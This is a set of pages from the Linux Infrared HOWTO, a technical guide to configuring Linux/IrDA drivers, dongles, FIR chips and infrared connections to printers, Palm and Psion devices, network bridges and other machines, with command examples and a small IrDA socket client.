  • Dag Brattli wrote about the IrOBEX support: "The awakened reader may wonder what prevents the beaming of files from Linux to Linux? Well, nothing!! (but I haven't tried that yet). This means that we now have a "simple" way of beaming files between Linux laptops. I think that this may be the "killer app" we all have been waiting for!" Try to "load_misc irobex at both ends, and then try iroabex_app get on one of the machines and irobex put <file> on the other.".

  • Via Linux/IrDA network connection. I suppose you have to load the module irlan_client at one machine and irlan_server at the other one.

  • With IrCOMM support, in other words over a serial line, which could mean minicom, pppd, etc. If you want just now to use IrCOMM between Linux boxes, please add this line to /etc/conf.modules of _one_ box:
    # set ircomm protocol engine to client-only mode
options ircomm ircomm_cs=1
    Note: Don't add it to both boxes, or they cannot accept incoming connection each other! But since 2.2.7 there's no need to add options ircomm ircomm_cs=1 to /etc/conf.modules anymore. Please remove it if you are using it.

  • IrNET

3.12.2. Compression

Please note this feature is still quite experimental! Dag Brattli wrote: "Just wanted you to know I have just added COMPRESSION support to IrLAP! As you may know, this is _not_ part of the IrDA(TM) standard, but Linux can now negotiate with its peer and check if it has the same compression capabilities). So obviously if you are talking to Win95, Palm III or whatever, you will _not_ get compression!!! This is something which is exclusive for Linux as far as I know! The IrDA(TM) standard says that devices should ignore unknown field in the negotiation header, so we are still "compatible" with IrDA(TM) (have just borrowed an unused header value).

If you want to try using the compression code (Linux <-> Linux) you will have to insert the irda_deflate module some time before you actually make the connection. I do it before irattach.

The compression standard I have added is the deflate format used by the zlib library which is described by RFCs (Request for Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).

The compression interface is similar to PPP, so you can add as many different compressors as you want. Currently there is only support for GZIP, but BSD compression will be added later. ... Have just tested GZIP compression at 4Mbps. It was a really bad idea! Compressing the frames takes so much time that the performance is actually worse than when not using compression at all. The conclusion is that compression should only be used for SIR speeds, ..."

Prev | Home | Next
Window$9x/NT and Linux/IrDA | Up | Multiple Instances


Stating the IrDA Stack

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.1. Stating the IrDA Stack

There are three sorts of low level drivers: SIR, dongle and FIR. If the right driver is detected by the kernel you get a message like:

3.1.1. SIR

  • Try to find out which serial port is used by the IR device. You may do so by watching the output of dmesg. If serial support is modularized do an modprobe serial first. Look for an entry like:
    Serial driver version 4.25 with no serial options enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A     #first serial port /dev/ttyS0
ttyS01 at 0x3000 (irq = 10) is a 16550A    #e.g. infrared port
ttyS02 at 0x0300 (irq = 3) is a 16550A     #e.g. PCMCIA modem port
    If this is not the case, you either don't have infrared support enabled in the BIOS or the SIR mode of your infrared device is not detected by the kernel. Currently I know only two laptop models with this effect, the HP OmniBook 800 and the Toshiba Libretto models. I am not sure whether PnP support effects the detection of the IR port. If you are unsure try it out and let me know the results. Maybe you can use FIR mode if SIR doesn't work.

  • In some situations you may have to use setserial /dev/ttyS<0-2> port 0xNNNN irq M to set the values for your infrared serial port, especially if the infrared port is a separate serial line. You usually don't need to change the values! For further information look into the FAQ section below.

  • If you don't use kerneld or kmod insert the irda module with modprobe irda.

  • Do lsmod. It should show the modules irda and irtty now.

  • A look into /var/log/messages should show the entry "Serial connection established" now.

  • Give irattach some time, e.g. seven seconds, to detect other IR devices. Then watch the output from the kernel that you will hopefully get in /var/log/messages. It should look like the following (I removed some lines, which were not related to Linux/IrDA):
    Jan  2 12:57:26 japh kernel: ttyS00 at 0x03f8 (irq = 4) is a 16550A
Jan  2 12:57:26 japh kernel: ttyS02 at 0x03e8 (irq = 4) is a 16550A
Jan  2 12:57:26 japh kernel: Linux Support for the IrDA (tm) protocols (Dag Bra
ttli)
Jan  2 12:59:09 japh syslog: executing: 'echo 1 > /proc/sys/net/irda/discovery'
Jan  2 12:59:09 japh syslog: Setting discovery to 1 exited with status 1
Jan  2 12:59:09 japh syslog: + 0.1 Fri Jul 25 11:45:26 1997 Dag Brattli
Jan  2 12:59:09 japh syslog: + 0.1 Fri Jul 25 11:45:26 1997 Dag Brattli
Jan  2 12:59:09 japh syslog: Serial connection established.
Jan  2 12:59:09 japh kernel: IrDA irda_device irda0 registered.
Jan  2 13:01:22 japh syslog: executing: './drivers start '
Jan  2 13:01:22 japh syslog: Serial connection established.
Jan  2 13:01:42 japh syslogd: Printing partial message
Jan  2 13:01:42 japh 0.1 Fri Jul 25 11:45:26 1997 Dag Brattli
Jan  2 13:02:49 japh kernel: IrDA Discovered: japh
Jan  2 13:02:49 japh kernel:     Services: Computer

  • Even more information you can get with cat /proc/net/irda/discovery .

3.1.2. Dongle Connection - Infrared Adapters for the Serial Port

The currently supported dongles are the Extended Systems Inc. ESI-9680 JetEye, the Tekram IRmate 210B, the ACTiSYS IR220L and 220L+, the Greenwich GIrBIL. dongle.

Dag Brattli wrote (modified by wh): "To use dongles you have to do something like this:
modprobe tekram         # or esi or actisys
irattach -d tekram      # or -d esi or -d actisys
modprobe is not necessary, if /etc/modules.conf is correct. As you can see, you must still use the -d option with irattach since it is possible to have two serial ports using different dongles at the same time (so the tty you are binding must know which dongle it is supposed to use). So if you have two dongles and two serial ports, you could do something like this:
modprobe tekram
modprobe esi
irattach /dev/ttyS0 -d esi &
irattach /dev/ttyS1 -d tekram &
PS: I would not try to turn the two dongles against each other, since I really don't know how the stack would react :-) ... Since I don't have any of these new ACTiSYS 220L+ dongles, I'm not able to test it. Since the new dongle has support for one extra speed (38400bps), you must specify the dongles differently with irattach so that the kernel knows which dongle you are using (and what QoS can be used):
irattach /dev/ttyS0 -d actisys     # for the 220L dongle
irattach /dev/ttyS0 -d actisys+    # for the 220L+ dongle
The current implementation of dongle support does not have any state associated with it, so its not possible to use both ACTiSYS dongles (220L and 220L+) at the same time (connected to two serial ports) for now. If someone needs to be able to do so, please mail me (Dag Brattli) and I will think about it!"

Note: When I tried to use an infrared modem (Swissmod 56Ki, manufactured by Telelink AG) connected to my laptop (IrDA works with Window$95 only, due to non standard hardware) I had to remove the infrared support in the BIOS to get it working!

Dag Brattli: "It is now possible to use irport instead of irtty! I have moved all the dongle stuff out of irtty and into irda_device, so it will also be possible to attach dongles to irport. Need however to make a small user-space utility dongle_attach that can be used to attach dongles to a specific driver instance. BTW: irattach is still working as before, and you will not notice the difference even when attaching dongles to irtty (I've just redirected the dongle ioctl to irda_device). Irport may be interesting since you avoid one software interrupt (bh) level, and it's also forced to work in half duplex mode so you don't get any echo if the irda port itself don't have echo-cancellation (girbil dongle and HP-4000 etc) ... To use it, you must supply the parameters to modprobe like this: modprobe irport io=0x3f8 irq=4, or whichever values you use. You can also add these parameters to /etc/conf.modules like this: options irport io=0x3f8 irq=4, but then you must remember to do a depmod -a and use modprobe irport instead of modprobe."

Alvin Loh: "Anyone with a ESI 9680C can use both parallax's and ESI's signalling scheme, meaning they can use Parallax's driver with ESI9680C to work. "

3.1.3. Dongle Connection - Infrared Motherboard Adapter

Support for the ACTiSYS IR2000 dongle has been implemented in a file called pc87108 which you can either compile into the kernel or modprobe pc87108 to insert the module or insert modprobe pc87108 into the /etc/irda/drivers file (I think).

From James I have this description about setting up the hardware: There are two configurations, a five pin in line connector and a 6 pin DIL (at the end of a 18 pin DIL header). Basically any IrDA conpatible transceiver will work (I have a stack of old IRM3001 these are now obselete) you need to hook a capacitor (use a tantalum about ~1uF) between 5V and 0V near the transceiver and then connect everthing else up (RX->RX, TX->TX, 5V->5V, and 0V-0V). If you don't like soldering irons, lots of companies do sell IR modules for the 5 pin connectors that fit into a hole in your case.

3.1.4. Fast InfraRed (FIR)

The IrDA(TM) standard knows three kinds of speeds:

  • SIR = Standard IrDA, up to 115kbps IrDA,

  • MIR = Medium Speed IrDA,

  • FIR = Fast IrDA (4Mbps),

  • VFIR = Very Fast IrDA(16Mbps), seems to become a future standard

Up to 115.200bps (SIR) many (probably all) infrared controllers work like a serial port and use a RZI (return to zero, inverted) modulation. Not every infrared controller supports 4Mps (FIR), up to 4Mbps they have to use 4PPM (4 pulse position) modulation technique. Currently there are two FIR chips supported: NationalSemiConductor NSC PC87108 e.g. used in IBM Thinkpad 560X and Winbond W83977AF (IR) FIR chip e.g. used in the Corel Netwinder PC. You may start the FIR service by loading the according module. Linux/IrDA will probe your hardware then. More drivers are under development.

So what speeds can you expect? Using SIR, you should be able to get about 10 Kbytes/s. Using FIR (4Mbps) you can get over 300 Kbytes/s (if you are lucky).

Prev | Home | Next
Specific Connections and IrDA - Protocols | Up | Printer Connection - IrLPT, IrTTP, IrCOMM?


Mailing List

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.2. Mailing List

Look at the mailing list archivs, whether your problem is already known. Since August 1999 it the archiv is located at Linux-IrDA mailing list archiv http://www.pasta.cs.UiT.No/mailman/listinfo/linux-irda . All mails before are archived at http://www.ita.chalmers.se/~svinto/hypermail/irda/ .

As a last ressort ask in the Linux-IrDA mailing list. You may subscribe at Linux-IrDA mailing list http://www.pasta.cs.UiT.No/mailman/listinfo/linux-irda . You are welcome to use this mailing list for posting questions, answers, bug-reports, patches, suggestions and comments. It would be much easier to help you if you provide some information. Please include:
uname -a
cat /proc/net/irda/irlan
cat /proc/net/irda/irlap
irdadump

Prev | Home | Next
Troubleshooting | Up | How to Make Infrared Light Visible


Multiple Instances

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.13. Multiple Instances

Dag Brattli wrote: "The IrLAP layer has been enhanced to allow more than one instance (so I can use IrLAN on my built-in ir-port, and communicate with the Pilot over the IrDA dongle at the same time) ... So how do you make two Linux/IrDA connections? Well, you just fire up irattach for each of the IrDA ports you have like this:
irattach /dev/ttyS0         # (my ESI dongle)
irattach /dev/ttyS2         # (my builtin IrDA port)
Also work with FIR devices like this :
irattach irda0 -s 1
irattach irda1 -s 1
They will not see each other if you run them on the same machine, since they will initiate discovery exactly at the same time. You should however be able to use them against two other laptops. I can run a dongle, builtin IrDA port and a IrDA PCMCIA card at the same time with three other IrDA devices without any problems.

You should notice that if the devices can interfere with each other then it might be difficult to obtain a connection, since a device is not allowed to transmit if the media is busy. I sometimes have to put a book between them."

Prev | Home | Next
Linux to Linux Connection | Up | Connection to Docking Station


HP NetBeamer Connection

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.4. HP NetBeamer Connection

  • Edited /etc/irda/drivers to include irattach /dev/ttyS0 (or whatever your "serial" IrDA port is, WH). Also /etc/modules.conf contains alias tty-ldisc-11 irtty.

  • irattach then echo 3 > /proc/sys/net/irda/debug to see what's going on.

  • modprobe irlan

  • I had to echo 9 > /proc/sys/net/irda/slot_timeout (use 90 for newer kernels!) in order to have the NetbeamIR recognized. Otherwise I was only getting a bunch of "media busy" messages, and no actual discovery of the NetbeamIR. 9 is the smallest value that worked for me.

  • renamed /etc/irda/network.orig to /etc/irda/network and edited /etc/irda/network.opts for my IP config. Also copied /etc/pcmcia/shared to /etc/irda (this file is apparently missing from the distribution).

  • I also had to comment out grep_stab $1 < /var/run/stab (line 131) in /etc/irda/shared. For some reason it fails, spitting a "usage" message.

  • moved laptop in range, the NetbeamIR is discovered, irlan0 created and config'ed.

  • transferred data at 7 kb/s, both ways: ping, ftp, telnet. Yaho!

Prev | Home | Next
LAN Connection - IrLAN | Up | Palm III Connection - IrCOMM


IrDA Network Neighborhood

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.6. IrDA Network Neighborhood

Laptop-Printer-PDA You can take a little peek at http://irda.sourceforge.net Drag-n-drop stuff, so you will be able to drop files to your PDA (uses IrOBEX) or drop files to your printer (uses IrLPT) etc.

Bridging/Routing James wrote: " ... there is a much better way of doing the briding which is routing. This is entirely user land and requires no kernel patches.

It's in two parts (you may only need one your milage may vary...) the first called irdaipcfg does the following:

1) First part is executed as irdaipcfg ifeth ifirlan daemonizes, then looks for ARP packets on ifirlan, checks that the arp was not generated by the machine on which it is running. The arp contains the ip address of the machine on the other end of the irlan (it was generated by the gratuatous arp in the irlan code). The program then sets up a host route to this ip address via ifirlan, adds a proxy arp to ifeth for it and generates a gratuatous arp on ifeth. It writes the ip address of the client in /var/run/host.ifirlan so you can easily undo all of this from a script.

2) Second part is executed as gratarp ifirlan. Sometimes the gratuatous arp seems to get lost in the pipe work, gratarp deamonizes and spits out a whole stream of the things...

I use them as follows: (you can use them to do whatever you like)

On my host (the machine bolted to my local net) irlanx is brought up as 10.192.0.1 with a netmask of 255.255.255.255 and a broadcast of 10.192.0.1 by my ifup script from /etc/irda/network by irattach. /etc/irda/network then runs irdaipcfg eth0 irlanx and this does the routing.

From /etc/irda/network
"start")
    echo 1 >/proc/sys/net/ipv4/conf/all/forwarding
    ./ifup ifcfg-${device}
    /sbin/irdaipcfg ${localnet} ${device}
    ;;
"stop")
    host=`cat /var/run/host.${device}`
    if [ .$host != . ]; then
      /sbin/arp -d ${host} dev ${localnet}
      /sbin/route delete ${host} dev ${device}
    fi
    ./ifdown ifcfg-${device}
    /sbin/ifconfig ${device} down
    ;;
on the client I set up irlan to use an address on my normal subnet 10.32.32.51 but with netmask 255.255.255.255 (not my usual netmask) I have some static routes which are host 10.192.0.1 dev irlan, and net default gw 10.192.0.1 dev irlan. I run gratarp from the /etc/irda/network, and I can wander arround my house and not lose telnet and ssh sessions ... they are sitting in ftp://bullard.esc.cam.ac.uk/pub/irda "

IPv6 AFAIK IPv6 has neighbor discovery mechanismem, but I don't have information about Linux/IrDA used with IPv6. Please see the mailing list archive for a discussion of this topic under the subject :"patch-2.2.7-ac1-irda4" .

DHCP I have got reports that it is possible to use dhcpcd with IrLAN. Please use latest DHCP software.

Prev | Home | Next
Beyond IrDA | Up | Linux/IrDA and APM


Null Modem Cable Connection

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.17. Null Modem Cable Connection

You may set up a connection without IrDA capable hardware, using a serial null modem cable. Just attach the IrDA ports to the serial ports, .e.g irattach /dev/ttyS0 -s 1 on both machines.

Prev | Home | Next
Connection via Serial Cable | Up | Peer-to-Peer Mode / Direct Mode


Obtaining Information about the Infrared Port in Laptops

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.1. Obtaining Information about the Infrared Port in Laptops

To get the IrDA port of your laptop working with Linux/IrDA you may use StandardInfraRed (SIR) or FastInfraRed (FIR).

4.1.1. SIR

Up to 115.200bps, the infrared port emulates a serial port like the 16550A UART. This will be detected by the kernel serial driver at boot time, or when you load the serial module. If infrared support is enabled in the BIOS, for most laptops you will get a kernel message like:
Serial driver version 4.25 with no serial options enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A     #first serial port /dev/ttyS0
ttyS01 at 0x3000 (irq = 10) is a 16550A    #e.g. infrared port
ttyS02 at 0x0300 (irq = 3) is a 16550A     #e.g. PCMCIA modem port

4.1.2. FIR

If you want to use up to 4Mbps, your machine has to be equipped with a certain FIR chip. You need a certain Linux/IrDA driver to support this chip. Therefore you need exact information about the FIR chip. You may get this information in one of the following ways:

  1. Read the specification of the machine, though it is very rare that you will find enough and reliable information there.

  2. Try to find out whether the FIR chip is a PCI device. Do a cat /proc/pci . The appropriate files for 2.2.x kernels are in /proc/bus/pci . Though often the PCI information is incomplete. You may find the latest information about PCI devices and vendor numbers in the kernel documentation usually in /usr/src/linux/Documentation or at the page of Craig Hart http://members.hyperlink.net.au/~chart . From kernel 2.1.82 on, you may use lspci from the pci-utils package, too.

  3. Use the DOS tool CTPCI330.EXE provided in ZIP format by the German computer magazine CT ftp://www.heise.de/pub/ct/ctsi/ctpci330.zip. The information provided by this program is sometimes better than that provided by the Linux tools.

  4. Try to get information about Plug-and-Play (PnP) devices. Though I didn't use them for this purpose yet, the isapnp tools, could be useful.

  5. If you have installed the Linux/IrDA® software load the FIR modules and watch the output of dmesg, whether FIR is detected or not.

  6. Another way how to figure it out explained by Thomas Davis (modified by WH): "Dig through the FTP site of the vendor, find the Windows9x FIR drivers, and they have (for a SMC chip):
    -rw-rw-r--   1 ratbert  ratbert       743 Apr  3  1997 smcirlap.inf
-rw-rw-r--   1 ratbert  ratbert     17021 Mar 24  1997 smcirlap.vxd
-rw-rw-r--   1 ratbert  ratbert      1903 Jul 18  1997 smcser.inf
-rw-rw-r--   1 ratbert  ratbert     31350 Jun  7  1997 smcser.vxd
    If in doubt, always look for the .inf/.vxd drivers for Windows95. Windows95 doesn't ship with _ANY_ FIR drivers. (they are all third party, mostly from Counterpoint, who was assimilated by ESI)."

  7. Also Thomas Davis found a package of small DOS utilities made by SMC. Look at http://www.smsc.com/ftppub/chips/appnote/ir_utils.zip . The package contains FINDCHIP.EXE. And includes a FIRSETUP.EXE utility that is supposed to be able to set all values except the chip address. Furthermore it contains BIOSDUMP.EXE, which produces this output:

    Example 1 (from a COMPAQ Armada 1592DT)

    In current devNode:
           Size      = 78
           Handle    = 14
           ID        = 0x1105D041 = 'PNP0511' -- Generic IrDA SIR
Types:  Base = 0x07, Sub = 0x00,  Interface = 0x02
Comm. Device, RS-232, 16550-compatible
Attribute = 0x80
                CAN be disabled
                CAN be configured
BOTH Static & Dynamic configuration
Allocated Resource Descriptor Block TAG's:
TAG=0x47, Length=7 I/O Tag, 16-bit Decode
Min=0x03E8, Max=0x03E8
Align=0x00, Range=0x08
TAG=0x22, Length=2 IRQ Tag, Mask=0x0010
TAG=0x79, Length=1 END Tag, Data=0x2F

    Result 1:

    Irq Tag, Mask (bit mapped - ) = 0x0010 = 0000 0000 0000 0001 0000 so, it's IRQ 4. (start at 0, count up ..), so this is a SIR only device, at IRQ=4, IO=x03e8.

    Example 2 (from an unknown machine)

    In current devNode:
          Size      = 529
          Handle    = 14
          ID        = 0x10F0A34D = 'SMCF010' -- SMC IrCC
Types:  Base = 0x07, Sub = 0x00,  Interface = 0x02
Comm. Device, RS-232, 16550-compatible
Attribute = 0x80
               CAN be disabled
               CAN be configured
BOTH Static & Dynamic configuration

Allocated Resource Descriptor Block TAG's:
TAG=0x47, Length=7 I/O Tag, 16-bit Decode
Min=0x02F8, Max=0x02F8
Align=0x00, Range=0x08
TAG=0x22, Length=2 IRQ Tag, Mask=0x0008
TAG=0x47, Length=7 I/O Tag, 16-bit Decode
Min=0x02E8, Max=0x02E8
Align=0x00, Range=0x08
TAG=0x2A, Length=2 DMA Tag, Mask=0x02, Info=0x08
TAG=0x79, Length=1 END Tag, Data=0x00

    Result 2:

    a) it's a SMC IrCC chip

    b) one portion is at 0x02f8, has an io-extent of 8 bytes; irq = 3

    c) another portion is at 0x02e8, io-extent of 8 bytes; dma = 1 (0x02 =0000 0010)

    Thomas Davis has placed some device information at http://www.jps.net/tadavis/irda/devids.txt .

    Warning

    The package is not intended for the end user, and some of the utilities could be harmful. The only documentation in the package is in Microsoft Word format. Linux users may read this with catdoc, available at http://www.fe.msk.ru/~vitus/catdoc/ .

  8. Use the Device Manager of the MicroSoft Windows9x/NT operating system.

  9. You may also use the hardware surveys mentioned below.

  10. And as a last ressort, you may even open the laptop and look at the writings at the chipsets itselfs. Here is an probably incomplete list of manufacturers: Chrystal, Hewlett Packard (HP, chipsets are marked HSDL), Hitachi, IBM, National Semi Conductor (NSC), NEC, Philips, Sharp, Standard Micro Systems Corporation (SMC/SMSC), Texas Instruments (TI), VLSI, Winbond. As an example of application circuits the HSDL-7001 (from a HP brochure, modified by WH):
        LEDs    Encode/Decode    SIR/FIR

   HSDL-1001    HSDL-7001      UART 16550/
                  MicroController
   ______      ______________      ____________
  |      |    |              |    |            |
(||   TXD|<---|IR_TXD     TXD|<---|SOUT        |
  |      |    |              |    |            |
  |      |    |           RCV|--->|SIN        |
  |      |    |              |    |            |
(||   RCV|--->|IR_RCV  16XCLK|<---|BAUDOUT     |
  |      |    |          NRST|-+  |            |
   ------      --------------  |   ------------
                               V

Prev | Home | Next
Hardware Supported by Linux/IrDA | Up | Hardware Surveys


Palm III Connection - IrCOMM

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.5. Palm III Connection - IrCOMM

  • PPP Rui Oliveira wrote: "This is just to let you know that with the latest IrCOMM patch (050998) of Takahide Higuchi, I managed to HotSync and establish a PPP connection between my Palm III and my Linux box. I'm using IRLink (from IsComplete) to redirect the serial port to ir. Communication with pilot-xfer (probably at http://www.slac.com/pilone/kpilot_home/mainpage.html) works flawlessly. Although I was able to establish a PPP connection, I'm still unable to fetch mail and do Web browsing. This is probably due to connection time-outs. I am checking this out. Please see the PPP-HOWTO for further information about PPP. ... I managed to establish an apparently robust connection between my Linux box and a Palm III. The pppd invocation I use is as follows:
       /usr/sbin/pppd /dev/ircomm0 57600 192.168.2.10:192.168.2.11
   proxyarp passive silent persist noauth local nodetach
    Over the PPP connection I used ping, ssh, and http. Strange is however the fact that discovery must be enabled (maybe obsolet) . Otherwise, even with an active IrCOMM connection, the link goes down due to a IrLAP disconnect. The pilot-link tools (used for Linux/Palm synchronization) also ran flawlessly over IrCOMM via /dev/ircomm0." There are also reports about kpilot, though not working as flawlessly as pilot-xfer.

  • IrCOMM Jon Howell wrote: "I thought I'd try IrCOMM, since the Palm III can be made to reroute serial info to the IR port (using IrLink from IS/Complete, available at http://www.palmcentral.com), and then you can run a terminal program (like PalmTelnet in serial mode) over IrDA. I can only assume it's using the IrCOMM protocol. I've tested this configuration between two Palm Pilots, but of course I can't know what the protocol running over the IR is." (1) Start HotSync on your Palm. You need the IrDA upgrade for the Palm to have IrCOMM support (2) Place the Palm in front of the dongle. (3) Start pilot-xfer -p /dev/ircomm0 -s <sync-dir> . And if you are lucky it will start syncing. If you start pilot-xfer before you start HotSync on the Pilot, you will _not_ be lucky! Maybe a terminal program like PalmTerm is also useful.

Wessel de Roode wrote: The Palmpilot is default locked on 57k. You can however if you write your own software for the Pilot, use the 115k line settings. I quote a part from the irlib.h:
---------- irlib.h from the SDK 3.0 from palmpilot -----
// Options values for IrOpen
#define irOpenOptBackground     0x80000000   // Unsupported background task use
#define irOpenOptSpeed115200    0x0000003F   // sets max negotiated baud rate
#define irOpenOptSpeed57600     0x0000001F   // default is 57600
#define irOpenOptSpeed9600      0x00000003
Peter Pregler reported: If the Palm enters the range of the irda-device a popup appears with the text "Transmission: waiting for sender"

Ron Choy answered: There is a software called ShutupIR that is supposed to help with this problem of annoying popup http://hp.vector.co.jp/authors/VA005810/irda/shutup10.zip I haven't tried it but it looks like it would fix your problem.

Prev | Home | Next
HP NetBeamer Connection | Up | Linux Terminal on Palm (Handspring Visor) via IR


Peer-to-Peer Mode / Direct Mode

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.18. Peer-to-Peer Mode / Direct Mode

IrCOMM and IrLAN work in both modes, but currently I don't have further information about the differences between these modes and how to set them up.

Prev | Home | Next
Null Modem Cable Connection | Up | Linux/IrDA with Toshiba Notebooks


Performance Testing

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.8. Performance Testing

netperf is a benchmark that can be used to measure the performance of many different types of networking including Unix Domain Sockets and TCP and UDP via BSD Sockets. It provides tests for both unidirectional throughput and end-to-end latency. http://www.netperf.org/netperf/NetperfPage.html

bing by Pierre Beyssac determines bandwidth on a point-to-point link by sending ICMP ECHO_REQUEST packets and measuring their roundtrip times for different packet sizes on each end of the link.

Prev | Home | Next
Linux/IrDA and APM | Up | IrDA Protocols


Power Saving

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.4. Power Saving

In the specifications of my HP OmniBook 800 it is recommended to turn off the IR port, if it is not in use, because it may consume up to 10 percent of the battery time.

If necessary, you may also try to disable the Fast RRs feature in the IrDA section of the kernel. This option will give you much better latencies but will consume more power.

Prev | Home | Next
How to Make Infrared Light Visible | Up | Beyond IrDA


Printer Connection - IrLPT, IrTTP, IrCOMM?

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.2. Printer Connection - IrLPT, IrTTP, IrCOMM?

IrLPT seems to be replaced by IrCOMM. Sorry I don't have tested this yet. So this is only the remaining part from former IrLPT support. Please see mailing list archive for further information.

  • Edit /etc/conf.modules, as described above.

  • Remove any current print jobs with lprm "*".

  • Run depmod -a .

  • (If you don't use kerneld do a modprobe irtty. Probably obsolet.)

  • su to root, and do mknod /dev/irlpt0 c 161 10. Note: Something like ./MAKEDEV irlpt0 is not possible yet.

  • Try to write a small file to /dev/irlpt0 by cat FILE >/dev/irlpt0 (do not wonder about a bad format this is just a first check). For me this didn't always work, but I couldn't find out why not.

  • The better way is to change your /etc/printcap to use /dev/irlpt0 in addition or instead of /dev/lp1. See Printing-HOWTO for detailed information.

  • For easy printer setup you may use a printing software like APSFILTER, MagicFilter EZ-Magic (with RedHat there should also be a GUI for this purpose). Make a copy of /etc/printcap before.

  • Example for APSFILTER with a HP 6P (non-postscript, HP 6MP is with postscript). The two relevant questions are: "Do you have a (s)serial or a (p)arallel printer interface?" Answer "p" "What's the device name for your parallel printer interface?" Answer "/dev/irlpt0"

  • Restart the print daemon with kill -HUP <PID of lpd>. If you use another print daemon choose the according command.

  • Watch whether the connection indicator of your printer shows activity, e.g. the green light above the IR port of a HP 6P/MP comes on (lower left hand corner, near the paper tray).

  • I couldn't get to manage printjobs larger than approximately 10 pages yet. But maybe this depends on the memory size of my hardware, which is 16MB. There seems to be a problem with the software too, Thomas Davis wrote: "I will ... limit the irlpt, so it won't eat memory when you send a large print file.".

Takahide Higuchi reported: " I have been debugging IrCOMM with a printer ( Canon BJC-80v ) with IrDA port and IrCOMM protocol (not IrLPT). I can print a short e-mail text though, it easily causes dead lock when I try to print a postscript with gs."

From the page of Thomas Davis http://www.jps.net/tadavis/irda : To use the IrLPT server, you need to perform the following steps:
/sbin/modprobe irlpt_server
/sbin/mknod /dev/irlptd c 10 `grep irlptd /proc/misc|cut -f 1`
At this point, the IrLPT server is ready to recieve print jobs; now; all you need is this simple shell script
#/bin/sh
#
while (true)
do
cat /dev/irlptd | lpr
done
Dag Brattli: I hope that this will make it easier for all you that prefer to live in user-space, to make your own IrDA applications and try it out. Some printers actually use IrTTP (because of the limitations of IrLPT), so now you can write your own small user-space printer client so you can talk to it:
int discover_devices(int fd)
{
    struct irda_device_list *list;
    unsigned char buf[sizeof(struct irda_device_list) +
          sizeof(struct irda_device_info) * MAX_DEVICES];
    int len;
    int daddr;
    int i;

    len = sizeof(struct irda_device_list) +
      sizeof(struct irda_device_info) * MAX_DEVICES;
    list = (struct irda_device_list *) buf;

    if (getsockopt(sfd, SOL_IRLMP, IRLMP_ENUMDEVICES, buf, &len)) {
    perror("getsockopt");
    exit(-1);
    }
    if (len > 0) {
    /*

Just pick the first one, but we should really ask the user
     */
    daddr = list->dev[0].daddr;

    printf("Discovered: (list len=%d)\n", list->len);

    for (i=0;i<list->len;i++) {
        printf("  name:  %s\n", list->dev[i].info);
        printf("  daddr: %08x\n", list->dev[i].daddr);
        printf("  saddr: %08x\n", list->dev[i].saddr);
        printf("\n");
    }
    }
    return daddr;
}

void client()
{
    struct sockaddr_irda peer;
    int addrlen = sizeof(struct sockaddr_irda);
    int daddr, actual;
    char buf[1024];

    fd = socket(AF_IRDA, SOCK_STREAM, 0);

    daddr = discover_devices(fd);

    peer.sir_family = AF_IRDA;
    strcpy(peer.sir_name, "P1284");
    peer.sir_addr = daddr;

    connect(fd, (struct sockaddr *) &daddr, sizeof(struct sockaddr_irda));

    /* Try to send something */
    actual = send(fd, "Testing", 8, 0);

    /* Try to read reply */
    actual = recv(fd, buf, 1024, 0);
}

Prev | Home | Next
Stating the IrDA Stack | Up | LAN Connection - IrLAN


Project History

Linux Infrared HOWTO
Prev Chapter 1. About the Linux/IrDA Project Next

1.1. Project History

The project started at the end of 1997 with the name Linux/IrDA. Due to some troubles with the name IrDA, which is trademarked by the Infrared Data Association IrDA , the name was changed to Linux/IR. At the end of 1998 the the relationship between both became better and the name was changed to Linux/IrDA again. Since February 1999 the project is an official member of IrDA .

Companies and developers which are interested in joining these efforts should contact the at Linux/IrDA Project or me at <wehe@mobilix.org>.

Prev | Home | Next
About the Linux/IrDA Project | Up | Code History


Psion 5 Connection

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.7. Psion 5 Connection

Andrew Chadwick wrote: A nifty way to check that the baud rates for SIR are set up properly (if you have a Psion Series 5) is to point the S5 at your Linux box's IR window and try to beam a file. While the beamer dialog's on the screen, the S5 will try to make an IrDA connection (even when it claims it can't find another IR machine). You should be able to do a cat > /dev/ttyS3 and if the serial parameters are right on both machines, you should see the words "Symbian EPOC" (machine ident) scroll past amidst the spew.

Fons Botman wrote: " Maybe someone with a Psion 5 would like to test this program. It emulates the protocol for the Psion 5 IR send and receive command for files on linux. You can now exchange files with simple commands. The transfer rate is 9.7 KBytes/sec on a 115KB SIR link for big files which is not bad methinks. It is beta, so be sure to backup the Psion first, I did get a soft reset once (no data loss). ;-)" I have put the source into the appendix.

Prev | Home | Next
Linux Terminal on Palm (Handspring Visor) via IR | Up | Connecting from Linux to WinCE


Connection via Serial Cable

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.16. Connection via Serial Cable

For some reasons it may be useful to connect via serial cable instead of using a real infrared link. Bjorn Hanson wrote: "Using a cable, I managed to get a PPP connection through my Ericsson SH888. I did the following (maybe some steps are wrong but they worked for me :-)

  • added alias tty-ldisc-11 irtty to /etc/conf.modules

  • edited /etc/irda/drivers to irattach /dev/ttyS0

  • manually inserted the irda and irtty modules using modprobe

  • start irattach

  • run kppp using /dev/ircomm0 (through symlink /dev/modem)

  • executed stty < /dev/ircomm0

  • ping the host

  • ifconfig irda0 down

